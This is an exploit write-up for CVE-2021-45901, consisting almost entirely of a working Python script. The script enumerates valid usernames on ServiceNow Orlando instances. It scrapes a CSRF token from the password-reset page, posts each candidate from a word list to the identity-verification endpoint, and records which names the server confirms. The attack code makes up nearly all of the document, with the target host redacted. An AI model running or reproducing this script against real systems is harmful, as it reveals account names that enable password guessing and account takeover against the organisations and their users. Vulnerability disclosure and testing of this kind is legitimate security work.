ServiceNow Orlando Username Enumeration

`# Exploit Title: ServiceNow - Username Enumeration  
# Google Dork: NA  
# Date: 12 February 2022  
# Exploit Author: Victor Hanna (Trustwave SpiderLabs)  
# Author Github Page: https://9lyph.github.io/CVE-2021-45901/  
# Vendor Homepage: https://www.servicenow.com/  
# Software Link: https://docs.servicenow.com/bundle/orlando-servicenow-platform/page/product/mid-server/task/t_DownloadMIDServerFiles.html  
# Version: Orlando  
# Tested on: MAC OSX  
# CVE : CVE-2021-45901  
  
#!/usr/local/bin/python3  
# Author: Victor Hanna (SpiderLabs)  
# User enumeration script SNOW  
# Requires valid 1. JSESSION (anonymous), 2. X-UserToken and 3. CSRF Token  
  
import requests  
import re  
import urllib.parse  
from colorama import init  
from colorama import Fore, Back, Style  
import sys  
import os  
import time  
  
from urllib3.exceptions import InsecureRequestWarning  
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)  
  
def banner():  
print ("[+]********************************************************************************[+]")  
print ("| Author : Victor Hanna (9lyph)["+Fore.RED + "SpiderLabs" +Style.RESET_ALL+"]\t\t\t\t\t |")  
print ("| Decription: SNOW Username Enumerator |")  
print ("| Usage : "+sys.argv[0]+" |")  
print ("| Prequisite: \'users.txt\' needs to contain list of users |")   
print ("[+]********************************************************************************[+]")  
  
def main():  
os.system('clear')  
banner()  
proxies = {  
"http":"http://127.0.0.1:8080/",  
"https":"http://127.0.0.1:8080/"  
}  
url = "http://<redacted>/"  
try:  
# s = requests.Session()  
# s.verify = False  
r = requests.get(url, timeout=10, verify=False, proxies=proxies)  
JSESSIONID = r.cookies["JSESSIONID"]  
glide_user_route = r.cookies["glide_user_route"]  
startTime = (str(time.time_ns()))  
# print (startTime[:-6])  
except requests.exceptions.Timeout:  
print ("[!] Connection to host timed out !")  
sys.exit(1)  
except requests.exceptions.ProxyError:  
print ("[!] Can't communicate with proxy !")  
sys.exit(1)  
  
with open ("users.txt", "r") as f:  
usernames = f.readlines()  
print (f"[+] Brute forcing ....")  
for users in usernames:  
url = "http://<redacted>/$pwd_reset.do?sysparm_url=ss_default"  
headers1 = {  
"Host": "<redacted>",  
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0",  
"Accept": "*/*",  
"Accept-Language": "en-US,en;q=0.5",  
"Accept-Encoding": "gzip, deflate",  
"Connection": "close",  
"Cookie": "glide_user_route="+glide_user_route+"; JSESSIONID="+JSESSIONID+"; __CJ_g_startTime=\'"+startTime[:-6]+"\'"  
}  
  
try:  
# s = requests.Session()  
# s.verify = False  
r = requests.get(url, headers=headers1, timeout=20, verify=False, proxies=proxies)  
obj1 = re.findall(r"pwd_csrf_token", r.text)  
obj2 = re.findall(r"fireAll\(\"ck_updated\"", r.text)  
tokenIndex = (r.text.index(obj1[0]))  
startTime2 = (str(time.time_ns()))  
# userTokenIndex = (r.text.index(obj2[0]))  
# userToken = (r.text[userTokenIndex+23 : userTokenIndex+95])  
token = (r.text[tokenIndex+45:tokenIndex+73])  
url = "http://<redacted>/xmlhttp.do"  
headers2 = {  
"Host": "<redacted>",  
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0",  
"Accept": "*/*",  
"Accept-Language": "en-US,en;q=0.5",  
"Accept-Encoding": "gzip, deflate",  
"Referer": "http://<redacted>/$pwd_reset.do?sysparm_url=ss default",  
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",  
"Content-Length": "786",  
"Origin": "http://<redacted>/",  
"Connection": "keep-alive",  
# "X-UserToken":""+userToken+"",  
"Cookie": "glide_user_route="+glide_user_route+";JSESSIONID="+JSESSIONID+"; __CJ_g_startTime=\'"+startTime2[:-6]+"\'"  
}  
  
data = {  
"sysparm_processor": "PwdAjaxVerifyIdentity",  
"sysparm_scope": "global",  
"sysparm_want_session_messages": "true",  
"sysparm_name":"verifyIdentity",  
"sysparm_process_id":"c6b0c20667100200a5a0f3b457415ad5",  
"sysparm_processor_id_0":"fb9b36b3bf220100710071a7bf07390b",  
"sysparm_user_id_0":""+users.strip()+"",  
"sysparm_identification_number":"1",  
"sysparam_pwd_csrf_token":""+token+"",  
"ni.nolog.x_referer":"ignore",  
"x_referer":"$pwd_reset.do?sysparm_url=ss_default"  
}  
  
payload_str = urllib.parse.urlencode(data, safe=":+")  
  
except requests.exceptions.Timeout:  
print ("[!] Connection to host timed out !")  
sys.exit(1)  
  
try:  
# s = requests.Session()  
# s.verify = False  
time.sleep(2)  
r = requests.post(url, headers=headers2, data=payload_str, timeout=20, verify=False, proxies=proxies)  
if "500" in r.text:  
print (Fore.RED + f"[-] Invalid user: {users.strip()}" + Style.RESET_ALL)  
f = open("enumeratedUserList.txt", "a+")  
f.write(Fore.RED + f"[-] Invalid user: {users.strip()}\n" + Style.RESET_ALL)  
f.close()  
elif "200" in r.text:  
print (Fore.GREEN + f"[+] Valid user: {users.strip()}" + Style.RESET_ALL)  
f = open("enumeratedUserList.txt", "a+")  
f.write(Fore.GREEN + f"[+] Valid user: {users.strip()}\n" + Style.RESET_ALL)  
f.close()  
else:  
print (Fore.RED + f"[-] Invalid user: {users.strip()}" + Style.RESET_ALL)  
f = open("enumeratedUserList.txt", "a+")  
f.write(Fore.RED + f"[-] Invalid user: {users.strip()}\n" + Style.RESET_ALL)  
f.close()  
except KeyboardInterrupt:  
sys.exit()  
except requests.exceptions.Timeout:  
print ("[!] Connection to host timed out !")  
sys.exit(1)  
except Exception as e:  
print (Fore.RED + f"Unable to connect to host" + Style.RESET_ALL)  
  
if __name__ == "__main__":  
main ()  
  
`